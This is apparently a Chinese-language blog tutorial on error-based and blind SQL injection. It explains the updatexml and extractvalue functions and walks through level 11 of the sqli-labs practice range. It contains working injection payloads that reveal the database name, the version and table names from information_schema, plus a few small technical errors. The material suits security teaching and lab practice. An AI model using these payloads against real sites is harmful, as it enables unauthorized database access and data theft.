目录
SQL注入之查询方式
select 查询数据
delete 删除数据
insert 插入数据
update 更新数据
SQL注入 报错盲注
1.基于布尔的SQL盲注 - 逻辑判断
2.基于时间的SQL盲注 - 延时判断
3.基于报错的SQL盲注 - 报错回显(强制性报错 )
案列演示
SQL注入之查询方式
当进行SQL注入时,有很多注入会出现无回显的情况,其中不回显得原因可能时SQL语句查询方式问题导致,这个时候我们需要用到报错或者盲注进行后续操作,同时在注入的过程中,提前了解其中SQL语句可以更好的选择对应的注入语句。
select 查询数据
例如:在网站应用中进行数据显示查询操作
select * from user where id=$id
delete 删除数据
例如:后台管理里面删除文章删除用户等操作
delete from user where id=$id
insert 插入数据
例如:在网站应用中进行用户注册添加操作
inser into user (id,name,pass) values(1,'zhangsan','1234')
update 更新数据
例如:后台中心数据同步或者缓存操作
update user set pwd='p' where id=1
SQL注入 报错盲注
盲注就是在注入的过程中,获取的数据不能显示到前端页面,此时,我们需要利用一些方法进行判断或者尝试,我们称之为盲注。我们可以知道盲注分为以下三类:
1.基于布尔的SQL盲注 - 逻辑判断
2.基于时间的SQL盲注 - 延时判断
3.基于报错的SQL盲注 - 报错回显(强制性报错 )
基于报错的SQL盲注常用到的函数:
updatexml():从目标XML中更改包含所查询值的字符串
第一个参数:XML_document 是String格式,为XML文档对象的名称,文中为DOC
第二个参数:XPath_string(Xpath格式字符串)
第三个参数:new_value,String格式,替换查找到的符合条件的数据
updatexml(XML_document,XPath_String,new_value);
'or updatexml(1,concat(0x7e,database()),0)or'
extractvalue():从目标XML中返回包含所查询值的字符串
第一个参数:XML_document 是String格式,为XML文档对象的名称,文中为DOC
第二个参数:XPath_String (Xpath格式字符串)
extractvalue(XML_document,XPath_String)
' or extractvalue(1,concat(0x7e,database())) or'
' union select 1,extractvalue(1,concat(0x7e,(select version())))%23
floor()向下取整 floor(10.5) = 10
rand()随机数 0 ~ 1之间
count(*)函数返回表的记录数
concat函数:将多个字符串连接成一个字符串
group_by 根据by对数据按照哪个字段、进行分组,或者是哪几个字段进行分组(去重), 会建立一张临时表 。
案列演示
这里我们用sql-libs靶场的第十一关来进行演示。
点击提交,抓包,修改数据。
在zhangsan后面添加一个单引号,回显出错,说明存在注入。
接下来,我们去判断他的字段数,
通过构造’ order by 1%23去判断字段数,%23在这里是#号的偏码格式。
回显正常。
一直到order by 3时页面出现报错,说明字段只有两个
接下来,我们就可以使用extractvalue函数去盲注了。
构造如下语句 ‘union select 1,extractvalue(1,(select version()))%23,爆出版本号,这里有很多人不明白我们为什么要是用这个extractvalue这个函数,因为extractvalue这个函数的第二个参数原本是要填写Xpth路劲的,一旦我们像这样填写了不属于Xpth格式的东西,这个函数就会出现报错回显,这也是盲注的灵魂所在。
然后我们构造如下语句,这里我们再用上concat()这个函数,来拼接字符串,concat这个函数有三个参数要填,第一个参数和第三个参数可以随便填,所以我们这里就用0x7e来填写,0x7e是~号的编码格式。
'union select 1,extractvalue(1,concat(0x7e,(select database()),0x7e))%23
爆出数据库名了。
接下来我们就该去爆破表名了。
构造如下语句:
'union select 1,extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database()limit 0,1),0x7e))%23
爆出了表名为emails。
我们继续爆,将limit 0,1改为limit 3,1,爆出了我们所需要的表。
其实讲到这里关于盲注的精髓就已经讲到点上了,接下来的操作我也就不继续了,因为实在都是大同小异了,无非也就那几个流程,接下来无非也就是爆字段,爆数据了。具体的操作我之前的文章里都有提到过,不懂的可以去看。